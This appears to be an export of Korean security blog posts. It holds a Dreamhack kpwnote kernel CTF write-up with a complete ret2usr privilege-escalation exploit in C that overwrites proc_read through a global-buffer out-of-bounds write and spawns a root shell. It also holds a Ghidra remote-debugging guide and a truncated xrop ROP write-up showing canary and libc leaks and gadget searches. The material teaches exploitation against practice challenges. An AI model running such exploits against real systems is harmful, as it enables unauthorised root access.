[{"content":"이번 문제는 dreamhack의 kpwnote 문제다. 리눅스 커널 익스플로잇의 가장 기본이라고 추천받아 이번 기회에 풀어봤다.\n문제 파일을 압축 해제하면 아래와 같은 파일들이 존재한다. 각 파일들에 대한 설명은 다음과 같다.\nkpwnote/ └───[원본 제공] ├── vmlinuz # 부팅용 커널 이미지 (bzImage, 압축) ├── vmlinux # 디버그 심볼 포함 커널 ELF (분석/디버깅용) ├── initramfs.img # 루트 파일시스템 (cpio newc, 압축 안됨) ├── linux-5.11.16.config # 커널 빌드 설정 (보호기법 확인) ├── linux-5.11.16.patch # kpwnote 모듈을 커널에 통합한 패치 ├── linux-5.11.16/kpwnote/ # 취약 코드 소스 (impl.c, main.c ...) ├── no-shutdown.dtb # microvm용 디바이스 트리 (shutdown 억제) └── run.sh # QEMU 부팅 스크립트 우선 qemu 부팅시 적용되는 보안 기법을 linux-5.11.16.config 에서 확인해보자.\n╰─○ grep -E \u0026#39;CONFIG_(RANDOMIZE_BASE|PAGE_TABLE_ISOLATION|STATIC_USERMODEHELPER|HARDENED_USERCOPY|STACKPROTECTOR)\u0026#39; linux-5.11.16.config; grep -- -append run.sh CONFIG_RANDOMIZE_BASE=y CONFIG_STACKPROTECTOR=y CONFIG_STACKPROTECTOR_STRONG=y CONFIG_PAGE_TABLE_ISOLATION=y CONFIG_HARDENED_USERCOPY=y # CONFIG_HARDENED_USERCOPY_FALLBACK is not set # CONFIG_HARDENED_USERCOPY_PAGESPAN is not set CONFIG_STATIC_USERMODEHELPER=y CONFIG_STATIC_USERMODEHELPER_PATH=\u0026#34;\u0026#34; -append \u0026#34;reboot=t panic=-1 console=hvc0 quiet\u0026#34; \\ 각 설정에 대한 설명은 다음과 같다.\n설정 설명 RANDOMIZE_BASE=y KASLR 활성화 → leak으로 slide 역산 필요 PAGE_TABLE_ISOLATION=y KPTI ON, 유저 복귀 까다로움 STACKPROTECTOR(_STRONG)=y 스택 카나리 활성화 HARDENED_USERCOPY=y copy_*_user 경계검사로 슬랩/스택만 대상, 전역(.data) OOB는 안 막음 SLAB_FREELIST_RANDOM=y 슬랩 freelist 랜덤화. 힙 grooming 할 때만 의미, 이 문제 무관 RETPOLINE = not set Spectre 완화 비활성화 STATIC_USERMODEHELPER=y ON, 아래 PATH와 묶어서 해석 STATIC_USERMODEHELPER_PATH \u0026quot;\u0026quot; 빈 문자열, usermodehelper 완전 비활성 우선 기본 설정을 보니 KASLR이 활성화 되어있어, 커널 slide leak이 필요하다. SMEP, SMAP 설정을 확인해보자.\n~ $ grep -o \u0026#39;smep\\|smap\u0026#39; /proc/cpuinfo | sort -u ~ $ 아무런 출력이 없다. 보호기법이 적용되지 않아, 커널은 유저모드 코드의 commit_creds(prepare_kernel_cred(0));같은 구문을 실행할 수 있다.\n위 설정을 보아 커널의 slide 값을 leak하고 uid를 0으로 만들어 execve로 /bin/sh을 실행하면 성공할 것 같다.\n이제 커널에 적용된 main.c 코드를 살펴보자. lseek, read, write 함수에 대해 커널 코드를 사용하도록 설정되어 있다.\nstatic struct proc_ops my_fops = { .proc_lseek = my_lseek, .proc_read = my_read, .proc_write = my_write, }; 이 main.c가 참조하는 impl.c 파일을 확인하면 각 기능에 대한 코드를 확인할 수 있다.\n#define INITSTR \u0026#34;hi\\n\u0026#34; static DECLARE_RWSEM(sem); static loff_t tlen = sizeof(INITSTR) - 1; static unsigned char tmp[1024] = INITSTR; 전역 변수부터 보자. tmp는 데이터를 담는 1024 바이트 버퍼이고 초기값으로 \u0026quot;hi\\n\u0026quot;이 채워져 있다. tlen은 현재 유효한 데이터의 길이이며, sem은 tmp/tlen을 동시 접근으로부터 보호하는 rwsem이다. 즉 공격 표면은 /proc/kpwnote에 대한 read/write/lseek 함수를 통해 이루어진다.\nssize_t my_write(struct file *file, const char __user *buf, size_t count, loff_t *ppos) { int res; size_t n; if (!count) return 0; if (count \u0026gt; OFFSET_MAX || *ppos \u0026gt; OFFSET_MAX - count) return -ENOSPC; res = down_write_killable(\u0026amp;sem); if (res) return res; n = copy_from_user(tmp + *ppos, buf, count); tlen = max(tlen, *ppos + (loff_t)(count - n)); up_write(\u0026amp;sem); if (count == n) return -EFAULT; count -= n; *ppos += count; return count; } 여기에 이 문제의 취약점이 존재한다. 데이터를 쓰는 위치는 tmp + *ppos인데, *ppos의 상한을 검사하는 코드가 OFFSET_MAX(약 2^63)와 비교하는 것뿐이다. 정작 버퍼의 실제 크기인 1024와 비교하는 경계검사가 없다. *ppos를 1024보다 크게 만들면 tmp 버퍼를 넘어 인접한 커널 전역 메모리에 그대로 쓸 수 있다(OOB Write).\n*ppos를 컨트롤 해야한다. 이 lseek 함수를 이용한다. my_lseek은 *ppos를 임의의 값으로 설정할 수 있게 해준다.\n한 가지 더 봐둘 것은 tlen 갱신 로직이다.\nn = copy_from_user(tmp + *ppos, buf, count); // n = \u0026#34;복사 못 한\u0026#34; 바이트 수 tlen = max(tlen, *ppos + (loff_t)(count - n)); // count - n = 실제 쓴 양 copy_from_user는 복사한 양이 아니라 복사하지 못한 바이트 수를 반환한다. 따라서 count - n이 실제로 쓴 바이트가 되고, tlen은 \u0026ldquo;지금까지 쓰여진 가장 먼 지점\u0026rdquo;(high-water mark)으로 늘어나기만 한다.\nssize_t my_read(struct file *file, char __user *buf, size_t count, loff_t *ppos) { int res; if (!count) return 0; res = down_read_interruptible(\u0026amp;sem); if (res) return res; if (tlen \u0026gt; *ppos) { size_t n; loff_t maxlen = tlen - *ppos; if (maxlen \u0026lt;= SIZE_MAX \u0026amp;\u0026amp; count \u0026gt; (size_t)maxlen) count = maxlen; n = copy_to_user(buf, tmp + *ppos, count); if (count == n) res = -EFAULT; count -= n; } else { count = 0; } up_read(\u0026amp;sem); if (res) return res; *ppos += count; return count; } read도 tmp + *ppos에서 유저로 데이터를 복사하므로, write와 마찬가지로 *ppos를 키우면 OOB Read가 된다. 다만 read에는 if (tlen \u0026gt; *ppos)라는 검증이 있다. 즉 읽으려는 위치가 tlen보다 작아야만 데이터를 돌려준다.\n처음 tlen은 3이라, 멀리 떨어진 위치(예: 커널 전역이 있는 오프셋)를 그냥 읽으면 이 조건에 막혀 0바이트가 반환된다. 그런데 tlen을 키우는 곳은 앞서 본 my_write의 한 줄뿐이다. 따라서 OOB Read를 하려면 먼저 write가 선행되어 tlen을 읽으려는 위치 너머까지 늘려놓아야 한다.\nloff_t my_lseek(struct file *file, loff_t offset, int whence) { loff_t res, eof; res = down_read_interruptible(\u0026amp;sem); if (res) return res; eof = tlen; up_read(\u0026amp;sem); return generic_file_llseek_size(file, offset, whence, OFFSET_MAX, eof); } my_lseek은 eof = tlen을 구한 뒤 실제 위치 계산/저장을 generic_file_llseek_size에 위임한다. read/write에 인자로 넘어오는 *ppos는 사실 커널이 파일마다 보관하는 file-\u0026gt;f_pos이고, 그 값을 설정하는 것이 바로 lseek이다. 즉 유저는 lseek(fd, X, SEEK_SET)로 *ppos를 원하는 위치에 둔 뒤 read/write를 호출하는 식으로 OOB 위치를 제어한다.\ngeneric_file_llseek_size는 내부적으로 vfs_setpos를 호출하는데, 이 함수가 음수 오프셋을 거부(offset \u0026lt; 0 → -EINVAL)한다. 따라서 *ppos는 항상 0 이상이고, 결국 우리의 OOB는 tmp보다 높은 주소 방향(forward)으로만 가능하다. 따라서 tmp보다 낮은 주소에 있는 modprobe_path 같은 위치에는 도달할 수 없다.\nimpl.c를 통해 사용가능한 취약점은 다음과 같다.\n전역 버퍼 tmp를 기준으로 앞쪽 위치로의 OOB Read/Write 위치는 lseek(*ppos)으로 제어 Read는 tlen 게이팅이 있어, write로 tlen을 먼저 키운 뒤 read해야 함 커널의 tmp 뒤 +0x460 위에는 main.c에서 본 함수 포인터 표 my_fops가 놓여 있다. 즉 OOB로 my_fops 안의 함수 포인터를 읽어 KASLR slide를 leak하고, my_fops에 write 하여 특정 함수를 다른 위치로 조작할 수 있다.\nKASLR Leak 먼저 leak할 위치를 정하자. my_fops(struct proc_ops) 안에는 my_read/my_write/my_lseek의 커널 함수 주소가 들어있다. 이 중 하나를 읽으면 KASLR로 랜덤화된 커널 주소가 새고, nm으로 본 정적 주소와 빼면 slide를 구할 수 있다.\n오프셋은 nm vmlinux로 계산한다.\n$ nm vmlinux | grep -wE \u0026#39;tmp|my_fops|my_read\u0026#39; ffffffff81cab6a0 d tmp ffffffff81cabb00 d my_fops ffffffff812b4880 T my_read my_fops - tmp = 0x460이고, struct proc_ops에서 proc_read(= my_read 포인터)는 구조체 시작에서 +0x10 위치다. 따라서 my_read 포인터는 tmp + 0x470에 있다.\n여기서 impl.c 분석 때 본 tlen 게이팅이 걸린다. 0x470을 읽으려면 tlen이 그보다 커야 하는데 처음엔 3이다. 그래서 읽을 포인터(0x470)는 건드리지 않으면서 tlen만 키우기 위해, 그 뒤쪽인 0x478(proc_read_iter, NULL이 존재하며 사용하지 않는 영역)에 write를 먼저 한다.\nint fd = open(\u0026#34;/proc/kpwnote\u0026#34;, O_RDWR); char buf[8] = {0}; lseek(fd, 0x478, SEEK_SET); // proc_read 포인터(0x470)보다 뒤에 write write(fd, buf, 8); // tlen = 0x480 으로 확장 (포인터는 보존) lseek(fd, 0x470, SEEK_SET); // proc_read 슬롯 unsigned long leak = 0; read(fd, \u0026amp;leak, 8); // 이제 tlen \u0026gt; ppos 통과 → leak printf(\u0026#34;leak = 0x%lx\\n\u0026#34;, leak); 실행하면 read 함수에 대한 커널 주소를 leak할 수 있다.\nread 8 bytes, leak=0xffffffffaa2b4880 하위 비트 ...2b4880이 nm의 my_read(...812b4880)와 일치하니 제대로 읽은 것이다. slide를 계산하면 다음과 같다.\nslide = leak - my_read(static) = 0xffffffffaa2b4880 - 0xffffffff812b4880 = 0x29000000 이제 모든 커널 심볼의 런타임 주소는 정적주소 + slide로 구할 수 있다.\n흐름 조작 leak으로 KASLR을 우회했으니 이번엔 write로 my_fops의 함수 포인터를 덮어본다. proc_read(0x470)를 알아보기 쉬운 값으로 덮고 read를 호출하면, 커널이 그 값을 함수 주소로 보고 점프한다.\nunsigned long fake = 0x61616161; // \u0026#39;aaaa\u0026#39; lseek(fd, 0x470, SEEK_SET); write(fd, \u0026amp;fake, 8); // proc_read 덮기 lseek(fd, 0x470, SEEK_SET); char b; read(fd, \u0026amp;b, 1); // 트리거 실행하면 커널이 우리가 쓴 주소에서 죽는다.\n[ 6.689181] general protection fault: 0000 [#1] SMP NOPTI [ 6.690250] RIP: 0010:0xf73ec00061616161 RIP 하위에 우리가 쓴 0x61616161(\u0026lsquo;aaaa\u0026rsquo;)이 그대로 들어갔다. 즉 proc_read를 원하는 주소로 덮으면 실행 흐름(RIP)을 완전히 가져올 수 있다는 것이 증명됐다. 8바이트를 정확히 쓰면 RIP 전체를 제어할 수 있다.\nret2usr 보호기법 확인에서 SMEP/SMAP이 비활성화 된 것을 확인했다. SMEP가 꺼져 있으면 커널이 유저랜드 코드를 실행할 수 있다. 따라서 권한상승 로직을 담은 유저 함수를 만들고, proc_read를 그 함수 주소로 덮으면 커널이 대신 실행한다.\nvoid (*commit_creds)(unsigned long); unsigned long (*prepare_kernel_cred)(unsigned long); long escalate(void) { commit_creds(prepare_kernel_cred(0)); // 현재 프로세스를 root로 return 0; // 정상 return → read() 정상 종료 } commit_creds(prepare_kernel_cred(0))는 현재 프로세스의 cred를 root로 교체하는 구문이다. 주의할 점은 commit_creds로 직접 점프하면 안 된다. 이 함수는 rdi 인자로 cred를 받는데, 직접 뛰면 rdi에 이상 값(file 포인터)이 들어가 패닉이 발생한다. 그래서 prepare_kernel_cred(0)로 root cred를 먼저 만들어 넘기는 두 함수 호출을 escalate 안에서 처리한다.\nescalate가 commit_creds, prepare_kernel_cred를 호출하려면 그 주소를 알아야 한다. 유저 프로그램은 커널 함수 주소를 모르므로, leak으로 구한 slide를 더해 런타임 주소를 함수 포인터에 채워둔다.\ncommit_creds = (void*)(0xffffffff810634e0UL + slide); prepare_kernel_cred = (void*)(0xffffffff81063370UL + slide); 마지막으로 proc_read를 escalate 주소로 덮고 read로 트리거하면, 커널이 escalate를 실행해 프로세스가 root가 된다. escalate가 return 0으로 정상 복귀하면 read() 시스템콜도 정상 종료되고, 유저랜드로 돌아온 시점에 이미 root이므로 쉘 실행결과 root 권한을 확인할 수 있다.\n전체 익스플로잇 코드 위 단계를 하나로 합친 최종 코드는 다음과 같다.\n#include \u0026lt;stdio.h\u0026gt; #include \u0026lt;fcntl.h\u0026gt; #include \u0026lt;unistd.h\u0026gt; #include \u0026lt;stdlib.h\u0026gt; typedef unsigned long u64; #define MY_READ_S 0xffffffff812b4880UL #define COMMIT_S 0xffffffff810634e0UL #define PREPARE_S 0xffffffff81063370UL void (*commit_creds)(u64); u64 (*prepare_kernel_cred)(u64); long escalate(void) { commit_creds(prepare_kernel_cred(0)); return 0; } int main(void) { int fd = open(\u0026#34;/proc/kpwnote\u0026#34;, O_RDWR); if (fd \u0026lt; 0) { perror(\u0026#34;open\u0026#34;); return 1; } // [1] leak: tlen 확장(0x478) 후 0x470에서 my_read 포인터 read char buf[8] = {0}; lseek(fd, 0x478, SEEK_SET); write(fd, buf, 8); lseek(fd, 0x470, SEEK_SET); u64 leak = 0; read(fd, \u0026amp;leak, 8); printf(\u0026#34;[*] leak(my_read) = 0x%lx\\n\u0026#34;, leak); // [2] slide → 권한상승 함수 런타임 주소 u64 slide = leak - MY_READ_S; commit_creds = (void*)(COMMIT_S + slide); prepare_kernel_cred = (void*)(PREPARE_S + slide); printf(\u0026#34;[*] slide = 0x%lx\\n\u0026#34;, slide); // [3] proc_read(0x470)를 escalate 주소로 덮기 lseek(fd, 0x470, SEEK_SET); u64 target = (u64)escalate; write(fd, \u0026amp;target, 8); // [4] read 트리거 → 커널이 escalate 실행 → root lseek(fd, 0x470, SEEK_SET); char b; read(fd, \u0026amp;b, 1); // [5] 확인 후 셸 if (getuid() == 0) { printf(\u0026#34;[+] root! uid=%d\\n\u0026#34;, getuid()); char *argv[] = {\u0026#34;/bin/sh\u0026#34;, NULL}; execve(\u0026#34;/bin/sh\u0026#34;, argv, NULL); } else { printf(\u0026#34;[-] failed, uid=%d\\n\u0026#34;, getuid()); } return 0; } ","permalink":"https://dig06161.github.io/2026/06/06/dreamhack-pwn-kpwnote/","summary":"드림핵 포너블 kpwnote 문제풀이","title":"[Dreamhack] PWN kpwnote"},{"content":"업무나 워게임 풀이에 있어서 Ghidra를 적극 사용중이다. 이런 Ghidra를 단순 디컴파일러로만 사용하기엔 아까워서 remote debug를 사용해봤다. IDA Pro는 정보가 많이 나오는데 Ghidra를 통한 remote debug 기능을 활용한 글을 거의 볼 수 없어서 가이드 느낌으로 적어본다. 개인적으로는 gdbserver나 qemu debug에도 활용 가능해 매우 유용할 것으로 판단했다.\n필자의 환경은 분석용 데스크톱 ubuntu 24.04, 업무 또는 개인용 노트북으로 Windows 11을 사용한다.\nGhidra는 ubuntu에서 사용할 예정이고 RDP를 사용했다. 나중에는 Ghidra 서버를 통해 동적 remote 분석 가능 여부에 대해서도 테스트 할 예정이다.\nGhidra는 공식 github에서 11.4.1 빌드를 사용했고 snap 설치 환경에서는 권한 분리로 인해 gdb 등 일부 기능이 사용 불가능하다. 공식 github에서 다운 받아 실행하는 것을 추천한다.\ngdb는 필수로 설치되어야 하고 Ghidra를 실행하는 계정에 대해 실행 권한을 가져야 한다.\nwar game 문제 하나를 도커로 올려 gdb server static 빌드 한 바이너리와 같이 넣어준다.\nprob는 대상 문제파일로 다음 gdbserver 명령을 통해 구동한다. 당연히 포트 expose나 라우팅은 도커 설정으로 잡아줘야 한다. 물론 방화벽도 마찬가지\npwn@dd809d5e20f8:~$ ./gdbserver :5555 prob gdbserver: Error disabling address space randomization: Operation not permitted Process prob created; pid = 40 Listening on port 5555 위 로그를 보면 gdbserver가 ASLR를 비활성화 해 동작하려 했지만 권한 문제로 실패했다고 뜬다. 필자는 실 문제 환경에서 분석하길 원해 따로 해결하진 않았다.\ngdbserver 가 5555를 디버그 포트로 하여금 접속 대기중이다. 이제 Ghidra의 debugger 기능을 활용해보자. 프로젝트를 생성하고 분석대상 바이너리를 추가해 Debugger 옵션으로 열어준다.\n필자는 미리 auto Analysis를 통해 디컴파일을 진행했다. Debugger → Configure and Launch 대상 바이너리 이름 using\u0026hellip; → gdb remote 를 선택해 연결 환경을 구성한다.\ngdbserver에서 사용했던 5555번 포트로 설졍해줬다. 이 설정들은 분석 환경에 따라 자유롭게 설정하면 된다. 만약 x64가 아닌 mips나 aarch64 환경이라면 gdb command를 수정해 gdb-multiarch 를 사용하고 원하는 옵션을 추가할 수 있다.\n이후 Launch 버튼을 누르면 다음과 같은 화면을 볼 수 있다.\ngdbserver에 연결되었다. 아래 Terminal 창을 통해 실제 gdb 처럼 상호작용 가능하지만 0x101268 지점에 파란 불 부분을 더블 클릭하면 자동으로 bp를 걸어주는 등 자동화된 기능들이 많다.\n예를 들어 특정 값을 입력 후 메모리 맵에서 스택을 확인하고 싶은 경우, bp가 걸린 상태에서 F5를 눌러 컨티뉴 명령을 수행하고 값을 입력해 bp 지점까지 이동한다. 이후 Memory View에서 Track Stack Pointer를 선택해 스텍 포인터를 자동으로 따라다니며 확인 가능하고 수정 또한 가능하다.\n당연하게도 bp 리스트 메모리 맵 확인 어셈 코드 수정 등 많은 기능들을 지원한다. 개인적으로 IDA Pro 보단 안전성이 떨어지지만 충분히 감안하고 사용할 만 하다. ni si 명령 등을 통해 움직이는 RIP 레지스터를 실시간으로 따라가며 디컴파일된 코드에서도 동일하게 추적한다.\n이 분석 환경은 IDA PRO를 사용하지 못하는 환경에서는 대신 사용할 만 하다. 다만 아직은 불안정한 부분이 보이는데. 메모리쪽 문제로 오류가 간혹 뜨는 문제가 있는데 이 부분은 차차 업데이트로 나아질 것이라 기대한다.\n매우 간단하게 Ghidra의 remote debugger 기능에 대해서 살펴봤다.\n원격 환경은 네트워크를 많이 타기 때문에 속도나 PING이 좋지 않은 환경에서는 생각보다 불편하다. 나중에는 Ghidra 서버를 통해 원격 디버깅이 가능한지, WSL GUI 환경 Ghidra 등 여러 테스트를 진행하고 정리해볼 예정이다.\nWindows에서 MSYS2 gdb를 활용하면 가능할 것으로 보이는데 이 부분은 아직 테스트하지 않았다. 굳이 윈도우에서 테스트할 필요성을 못느꼈다.\nGhidra remote debugger 기능을 더 많은 사람들이 사용해서 더욱 좋은 도구로 발전했으면 한다.\n","permalink":"https://dig06161.github.io/2025/08/10/Ghidra-remote-debugger/","summary":"Ghidra 원격 디버깅 사용하기","title":"Ghidra remote debugger"},{"content":"Pwn2Own 2025 Ireland가 시작하며 다시 ROP 감을 찾고자 xrop 문제를 풀어봤다.\n해당 문제는 입력 받은 값이 xor 되어 스택에 저장되는 문제로 걸려있는 보호 기법은 다음과 같다.\n╰─○ checksec --file=./prob RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE Full RELRO Canary found NX enabled PIE enabled No RPATH No RUNPATH 43 Symbols No 0 2 ./prob 심볼 제거, FORTIFY 빼고는 앵간한 보호 기법이 다 걸려있다. 우선 문제 바이너리를 ghidra로 열어보자.\nundefined8 main(void) { ssize_t sVar1; char *pcVar2; long in_FS_OFFSET; int local_30; byte local_28 [24]; long local_10; local_10 = *(long *)(in_FS_OFFSET + 0x28); setvbuf(stdin,(char *)0x0,2,0); setvbuf(stdout,(char *)0x0,2,0); setvbuf(stderr,(char *)0x0,2,0); do { printf(\u0026#34;Input: \u0026#34;); sVar1 = read(0,local_28,0x100); for (local_30 = 1; local_30 \u0026lt; (int)sVar1; local_30 = local_30 + 1) { local_28[local_30 + -1] = local_28[local_30] ^ local_28[local_30 + -1]; } printf(\u0026#34;You entered: %s\\n\u0026#34;,local_28); pcVar2 = strtok((char *)local_28,\u0026#34;exit\u0026#34;); } while (pcVar2 != (char *)0x0); if (local_10 == *(long *)(in_FS_OFFSET + 0x28)) { return 0; } /* WARNING: Subroutine does not return */ __stack_chk_fail(); } 다른 추가적인 함수 Call 없이 main에서 문제의 역할을 전부 수행한다.\ndo while 구문에서 read를 통해 입력 받는 배열의 크기는 24이지만 입력 값의 길이 제한 검증이 미흡하여 BoF가 발생한다. 이후 for문의 XOR 기능을 통해 입력한 값을 1바이트 씩 다음 1바이트와 계산하는 로직을 구현했으며, read 함수를 통해 입력한 길이 -1만큼 동작해 결과적으로 입력한 값들을 XOR 하는 코드 부분이다. 이후 printf를 통해 XOR하여 저장된 값을 확인해주고 XOR 된 값을 토큰화 하여 e, x, i, t 중 하나라도 있거나 널 바이트가 있으면 카나리 값 검사 후 return하는 코드다.\n코드를 보면 익스 방법이 명확하다. 먼저 카나리 값을 릭하고 다음 필요에 따라 PIE base addr와 libc base addr를 릭해 ROP 가젯 체이닝을 하면 될 것이다.\nread함수 다음에 bp를 걸어 값 입력 후 스택을 확인하자.\n[ Legend: Modified register | Code | Heap | Stack | String ] ────────────────────────────────────────────────────────────────────────────────────────── registers ──── $rax : 0x9 $rbx : 0x0 $rcx : 0x000074f174f45992 → 0x5677fffff0003d48 (\u0026#34;H=\u0026#34;?) $rdx : 0x100 $rsp : 0x00007ffcf7795820 → 0x0000000000000002 $rbp : 0x00007ffcf7795850 → 0x0000000000000001 $rsi : 0x00007ffcf7795830 → \u0026#34;asdfasdf\\n\u0026#34; $rdi : 0x0 $rip : 0x0000600d264ee268 → \u0026lt;main+009f\u0026gt; mov DWORD PTR [rbp-0x24], eax $r8 : 0x7 $r9 : 0x000074f175069040 → endbr64 $r10 : 0x0000600d264ef004 → 0x00203a7475706e49 (\u0026#34;Input: \u0026#34;?) $r11 : 0x246 $r12 : 0x00007ffcf7795968 → 0x00007ffcf7797969 → 0x534f4800626f7270 (\u0026#34;prob\u0026#34;?) $r13 : 0x0000600d264ee1c9 → \u0026lt;main+0000\u0026gt; endbr64 $r14 : 0x0000600d264f0da0 → 0x0000600d264ee180 → \u0026lt;__do_global_dtors_aux+0000\u0026gt; endbr64 $r15 : 0x000074f17509d040 → 0x000074f17509e2e0 → 0x0000600d264ed000 → 0x00010102464c457f $eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification] $cs: 0x33 $ss: 0x2b $ds: 0x00 $es: 0x00 $fs: 0x00 $gs: 0x00 ────────────────────────────────────────────────────────────────────────────────────────────── stack ──── 0x00007ffcf7795820│+0x0000: 0x0000000000000002 ← $rsp 0x00007ffcf7795828│+0x0008: 0x00000000178bfbff 0x00007ffcf7795830│+0x0010: \u0026#34;asdfasdf\\n\u0026#34; ← $rsi 0x00007ffcf7795838│+0x0018: 0x000000000000000a (\u0026#34;\\n\u0026#34;?) 0x00007ffcf7795840│+0x0020: 0x0000000000001000 0x00007ffcf7795848│+0x0028: 0xba38f45ff9545200 0x00007ffcf7795850│+0x0030: 0x0000000000000001 ← $rbp 0x00007ffcf7795858│+0x0038: 0x000074f174e5ad90 → mov edi, eax ──────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ──── 0x600d264ee25b \u0026lt;main+0092\u0026gt; mov rsi, rax 0x600d264ee25e \u0026lt;main+0095\u0026gt; mov edi, 0x0 0x600d264ee263 \u0026lt;main+009a\u0026gt; call 0x600d264ee0b0 \u0026lt;read@plt\u0026gt; ●→ 0x600d264ee268 \u0026lt;main+009f\u0026gt; mov DWORD PTR [rbp-0x24], eax 0x600d264ee26b \u0026lt;main+00a2\u0026gt; mov DWORD PTR [rbp-0x28], 0x1 0x600d264ee272 \u0026lt;main+00a9\u0026gt; jmp 0x600d264ee29d \u0026lt;main+212\u0026gt; 0x600d264ee274 \u0026lt;main+00ab\u0026gt; mov eax, DWORD PTR [rbp-0x28] 0x600d264ee277 \u0026lt;main+00ae\u0026gt; sub eax, 0x1 0x600d264ee27a \u0026lt;main+00b1\u0026gt; cdqe ──────────────────────────────────────────────────────────────────────────────────────────── threads ──── [#0] Id 1, Name: \u0026#34;prob\u0026#34;, stopped 0x600d264ee268 in main (), reason: BREAKPOINT ────────────────────────────────────────────────────────────────────────────────────────────── trace ──── [#0] 0x600d264ee268 → main() ───────────────────────────────────────────────────────────────────────────────────────────────────────── (remote) gef➤ x/32gx 0x00007ffcf7795830 0x7ffcf7795830: 0x6664736166647361 0x000000000000000a 0x7ffcf7795840: 0x0000000000001000 0xba38f45ff9545200 0x7ffcf7795850: 0x0000000000000001 0x000074f174e5ad90 0x7ffcf7795860: 0x0000000000000000 0x0000600d264ee1c9 0x7ffcf7795870: 0x00000001f7795950 0x00007ffcf7795968 0x7ffcf7795880: 0x0000000000000000 0xd879fe562e1a307f 0x7ffcf7795890: 0x00007ffcf7795968 0x0000600d264ee1c9 0x7ffcf77958a0: 0x0000600d264f0da0 0x000074f17509d040 0x7ffcf77958b0: 0x278010a49ed8307f 0x319b179d7490307f 0x7ffcf77958c0: 0x000074f100000000 0x0000000000000000 0x7ffcf77958d0: 0x0000000000000000 0x0000000000000000 0x7ffcf77958e0: 0x0000000000000000 0xba38f45ff9545200 0x7ffcf77958f0: 0x0000000000000000 0x000074f174e5ae40 0x7ffcf7795900: 0x00007ffcf7795978 0x0000600d264f0da0 0x7ffcf7795910: 0x000074f17509e2e0 0x0000000000000000 0x7ffcf7795920: 0x0000000000000000 0x0000600d264ee0e0 0x7ffcf7795830 지점에 입력한 asdfasdf가 저장되었고 0x7ffcf7795848 지점에 카나리 값, 0x7ffcf7795858 지점에 libc의 return 주소, 0x7ffcf7795868 지점에서 PIE 주소를 Leak 할 수 있다.\n특정 값이 입력되기 전까지는 BoF가 발생해도 return이 호출되지 않아 카나리 값 검사를 진행하지 않는다. 따라서 카나리, libc base, PIE base를 순서대로 구해준다.\n먼저 asdfasdf * 3번 입력하고 마지막 엔터인 \\x0a까지 전달되면 출력되는 값의 마지막 7바이트는 XOR 처리 되지 않는 카나리 값을 얻을 수 있다. 이후 동일하게 libc 주소를 Leak한다. 아래 gdb를 보면 Leak된 libc 주소는 r권한 기준 베이스 주소와 0x29d90 만큼의 offset을 가지고, Leak된 PIE 주소는 x 권한 기준 base 주소와 0x1c9 만큼의 offset을 가지고 있다.\n(remote) gef➤ vmmap [ Legend: Code | Stack | Heap ] Start End Offset Perm Path 0x0000600d264ed000 0x0000600d264ee000 0x0000000000000000 r-- /home/pwn/prob 0x0000600d264ee000 0x0000600d264ef000 0x0000000000001000 r-x /home/pwn/prob 0x0000600d264ef000 0x0000600d264f0000 0x0000000000002000 r-- /home/pwn/prob 0x0000600d264f0000 0x0000600d264f1000 0x0000000000002000 r-- /home/pwn/prob 0x0000600d264f1000 0x0000600d264f2000 0x0000000000003000 rw- /home/pwn/prob 0x000074f174e2e000 0x000074f174e31000 0x0000000000000000 rw- 0x000074f174e31000 0x000074f174e59000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6 0x000074f174e59000 0x000074f174fee000 0x0000000000028000 r-x /usr/lib/x86_64-linux-gnu/libc.so.6 0x000074f174fee000 0x000074f175046000 0x00000000001bd000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6 0x000074f175046000 0x000074f17504a000 0x0000000000214000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6 0x000074f17504a000 0x000074f17504c000 0x0000000000218000 rw- /usr/lib/x86_64-linux-gnu/libc.so.6 0x000074f17504c000 0x000074f175059000 0x0000000000000000 rw- 0x000074f17505b000 0x000074f17505d000 0x0000000000000000 rw- 0x000074f17505d000 0x000074f17505f000 0x0000000000000000 r-- [vvar] 0x000074f17505f000 0x000074f175061000 0x0000000000000000 r-- [vvar_vclock] 0x000074f175061000 0x000074f175063000 0x0000000000000000 r-x [vdso] 0x000074f175063000 0x000074f175065000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x000074f175065000 0x000074f17508f000 0x0000000000002000 r-x /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x000074f17508f000 0x000074f17509a000 0x000000000002c000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x000074f17509b000 0x000074f17509d000 0x0000000000037000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x000074f17509d000 0x000074f17509f000 0x0000000000039000 rw- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2 0x00007ffcf7777000 0x00007ffcf7798000 0x0000000000000000 rw- [stack] 0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall] (remote) gef➤ p 0x000074f174e5ad90-0x000074f174e31000 $1 = 0x29d90 (remote) gef➤ p 0x0000600d264ee1c9-0x0000600d264ee000 $2 = 0x1c9 이후 ROP를 위한 가젯을 찾아야 한다. 가장 깔끔한 방법은 pop rdi ; ret 과 /bin/sh 문자열 주소를 찾아 한번에 처리하는 것이다. prob 바이너리와 문제 도커 내부에 존재하는 libc를 분석해 pop rdi ; ret 가젯과 /bin/sh를 찾아보자.\n(remote) gef➤ !ropper --file ./prob --search \u0026#34;pop rdi; ret;\u0026#34; [INFO] Load gadgets from cache [LOAD] loading... 100% [LOAD] removing double gadgets... 100% [INFO] Searching for gadgets: pop rdi; ret; (remote) gef➤ !ropper --file ../libc.so.6 --search \u0026#34;pop rdi; ret;\u0026#34; | tail -n 6 [INFO] Load gadgets from cache [LOAD] loading... 100% [LOAD] removing double gadgets... 100% [INFO] Searching for gadgets: pop rdi; ret; [INFO] File: ../libc.so.6 0x000000000002a3e5: pop rdi; ret; (remote) gef➤ !ropper --file ./prob --string \u0026#34;/bin/sh\u0026#34; Strings ======= Address Value ------- ----- (remote) gef➤ !ropper --file ../libc.so.6 --string \u0026#34;/bin/sh\u0026#34; Strings ======= Address Value ------- ----- 0x001d8698 /bin/sh (remote) gef➤ p \u0026amp;system $6 = (\u0026lt;text 